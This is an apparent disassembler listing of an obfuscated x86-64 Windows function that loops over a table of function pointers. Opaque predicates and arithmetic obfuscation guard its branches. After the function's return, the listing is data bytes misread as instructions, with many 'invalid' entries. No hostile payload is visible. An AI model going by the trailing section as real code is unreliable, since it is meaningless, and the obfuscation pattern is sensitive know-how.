xor eax, eax
test rcx, rcx
cmovg rax, rcx
mov qword [rbp - 0x48], rax
xor eax, eax
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x58], rax
mov eax, dword [0x140250638]
xor edx, edx
div dword [0x14025063c]
add eax, 0xcc67855a
mov ecx, 0xadc45dca
xor edx, edx
div ecx
and eax, 0xe8463e7d
cmp eax, 0x7a04dda8
jae 0x14023d8c0
mov rcx, qword [rbp - 0x58]
mov eax, dword [0x140250640]
mov r8d, dword [0x140250644]
mov edx, 0xa752d05b
xor edx, 0xc5636cbf
xor r8d, edx
xor edx, edx
div r8d
mov r8d, 0x77bff5f6
xor edx, edx
div r8d
mov rdx, qword [rbp - 0x48]
sub eax, 0x664ce47e
and eax, 0xa4a40fd
cmp rcx, rdx
sete cl
mov byte [rbp - 0x59], cl
cmp eax, 0xb1e2a39
je 0x14023d8c0
mov al, byte [rbp - 0x59]
test al, 1
jne 0x14023d5fa
jmp 0x14023d46a
mov rax, qword [rbp - 0x58]
mov rcx, qword [rbp + 0x568]
mov qword [rbp - 0x68], rcx
cmp rax, rcx
jl 0x14023d4a0
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffff
sub rsp, 0x20
call fcn.140012b72
add rsp, 0x20
jmp 0x14023d699
mov rdx, qword [rbp - 0x58]
mov rax, qword [rbp + 0x3f0]
mov rax, qword [rax]
mov rcx, rax
add rcx, 8
mov r8, rdx
shl r8, 4
add rcx, r8
add rax, 8
shl rdx, 4
add rax, rdx
add rax, 8
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
mov rcx, qword [rcx]
mov qword [rbp - 0x70], rcx
cmp rax, 0
je 0x14023d5c5
mov eax, dword [0x140250648]
xor eax, dword [0x14025064c]
or eax, 0xa2f128c
add eax, 0xea0f5e1f
mov ecx, 0x9648ef79
xor ecx, 0x6ec439ca
imul eax, ecx
cmp eax, 0x732d94a6
je 0x14023d8c9
mov rax, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x78]
mov edx, dword [0x140250650]
mov r8d, 0x4579e051
xor r8d, 0x8f64a64a
xor edx, r8d
or edx, dword [0x140250654]
mov r8d, edx
xor r8d, 0xffffffff
and r8d, 0x82b2e928
mov r9d, 0xffffffff
xor r9d, 0x82b2e928
and edx, r9d
sub edx, r8d
mov r8d, edx
xor r8d, 0xffffffff
mov r9d, 0x6d793434
xor r9d, 0xd6a501a5
and r9d, r8d
mov r10d, 0xffffffff
xor r10d, 0xbbdc3591
mov r8d, edx
and r8d, r10d
imul r8d, r9d
mov r9d, edx
and r9d, 0xbbdc3591
or edx, 0xbbdc3591
imul edx, r9d
add edx, r8d
or edx, 0xc5464699
mov dword [rbp - 0x7c], edx
sub rsp, 0x20
call rax
mov eax, dword [rbp - 0x7c]
add rsp, 0x20
cmp eax, 0x7b066e82
jb 0x14023d515
jmp 0x14023d5d3
mov rax, qword [rbp - 0x70]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x3e8]
mov al, byte [rax]
mov cl, 0x4f
xor cl, 0x4f
cmp al, cl
jne 0x14023d699
mov rax, qword [rbp - 0x58]
add rax, 1
mov qword [rbp - 0x40], rax
jmp 0x14023d3d5
mov ecx, dword [0x140250658]
xor ecx, dword [0x14025065c]
and ecx, 0x1a0c05f5
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xbb5bd1f1
and ecx, 0xbb5bd1f1
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x5edc80de
xor ecx, 0xa1237f21
xor eax, ecx
or eax, 0xdf831901
cmp eax, 0x37e6858
jb 0x14023d8d2
mov r8b, byte [rbp - 0x49]
mov eax, dword [0x140250660]
and eax, dword [0x140250664]
imul eax, eax, 0x3eed7493
mov ecx, 0x9b166383
xor ecx, 0x3c136c2a
xor edx, edx
div ecx
mov ecx, 0xd5601372
xor ecx, 0xa5ecfa6
xor edx, edx
div ecx
mov rdx, qword [rbp + 0x3e8]
mov ecx, 0x99739221
xor ecx, 0xfa8f276f
mov byte [rdx], r8b
cmp eax, ecx
jae 0x14023d8d2
jmp 0x14023d699
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x408], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x410], rax
lea rcx, [rbp + 0x408]
sub rsp, 0x20
call fcn.140018e27
add rsp, 0x20
mov rax, qword [rbp + 0x3e0]
cmp byte [rax], 0
je 0x14023d705
mov rax, qword [rbp + 0x3e0]
mov byte [rax], 0
sub rsp, 0x20
call fcn.14023d8db
add rsp, 0x20
mov rcx, rax
sub rsp, 0x20
call fcn.140031083
call fcn.14023d908
add rsp, 0x20
mov rax, qword [0x14025a638]
mov rax, qword [rax]
mov ecx, 0x283cc805
xor ecx, 0x283cc805
sub rsp, 0x20
call rax
nop
lea rsp, [rbp + 0x5b8]
pop rsi
pop rbp
ret
xchg ebx, eax
sub byte [rdi - 0x5edc17], bl
call rbx
invalid
rol dword [rdx + 0x27], cl
mov esp, 0xffa244e9
invalid
fcom dword [rcx + 0x33]
js 0x14023d72b
movabs qword [0x21e9135d3b7cffff], rax
movsb byte [rdi], byte [rsi]
invalid
jl 0x14023d783
pop rbp
adc ebp, ecx
and dword [rdi + rdi*8 + 0x31a249ff], esp
xchg ebx, eax
jmp 0x140237e66
movabs byte [0xa6ffffa70ee99331], al
cmpsb byte [rsi], byte [rdi]
cmpsb byte [rsi], byte [rdi]
mov eax, dword [rdi - 0x17]
adc al, 0xa8
invalid
invalid
invalid
test byte [rbp - 0x6e16c802], dh
mov al, 0xff
jmp qword [rcx + rsi + 0x14]
xor dword fs:[rdi + rdx*8], edx
jmp 0x14023894b
invalid
xchg ebp, eax
insd dword [rdi], dx
mov edi, 0xffb367e9
dec dword [rdi]
invalid
invalid
pinsrw mm6, word [rdi - 0x50], 0xe9
imul esi, dword [rdi + rdi*8 - 0x3201d501], 0xffffffa0
sub bh, dh
int 0xa0
jmp 0x140238d51
invalid
shl byte [rdi + rcx*2 - 0x6c], 0xe9
retf
int1
invalid
jmp 0x14023953e
sub dword [rdx], edx
std
sub eax, 0xffbff5e9
call qword [rbx - 0x16e80b73]
jo 0x14023d78c
xchg ebx, eax
invalid
invalid
out 0x88, al
xor byte [rbx - 0x17], ah
invalid
js 0x14023d7b6
stc
mov ah, 0xe9
add eax, esp
invalid
invalid
invalid
pop rbx
mov cl, byte [rsi]
jno 0x14023d7df
mov edi, es
invalid
pop rbx
nop
or byte [rcx + rbp*8 - 0x370a], cl
push rax
or eax, 0xdae9fd96
int3
jp 0x14023d821
xor r9d, ebp
movabs eax, dword [0xe9b79731e9ffffcd]
invalid
jmp 0x129db6f4b
pop rsi
test dword [rdx - 0x2a], edx
jmp 0x14023a849
invalid
retf 0x25ed
invalid
add ebp, edx
test byte [rbx], cl
jmp 0x14023aef8
sbb al, 0xa3
ficomp dword [rbp - 0x273317]
jmp rbx
jrcxz 0x14023d85c
clc
add ebp, ecx
adc al, 0xdb
invalid
sbb al, bh
imul ecx
mov eax, 0x54ffffe1
call qword [rax + rsi + 0x3c]
invalid
push rsp
xor byte [rax + riz*2], bh
jmp 0x14023bc18
cld
fldl2e
jmp 0x14023bd81
fadd qword [rax + 0x6a]
xor ebp, ecx
invalid
jns 0x14023d8f8
invalid
or dword [rdx - 0x111667f5], ebx
idiv bh
dec dword [rcx + 0x58]
pop r8
add byte [rcx + rbp*8 - 0x67], ah
clc
invalid
invalid
movabs dword [0xfffffc43e914ff58], eax
xchg edi, eax
and dl, byte [rdi - 0x17]
push 0x48fffffd
sub rsp, 0x28
shr al, 0xe2
invalid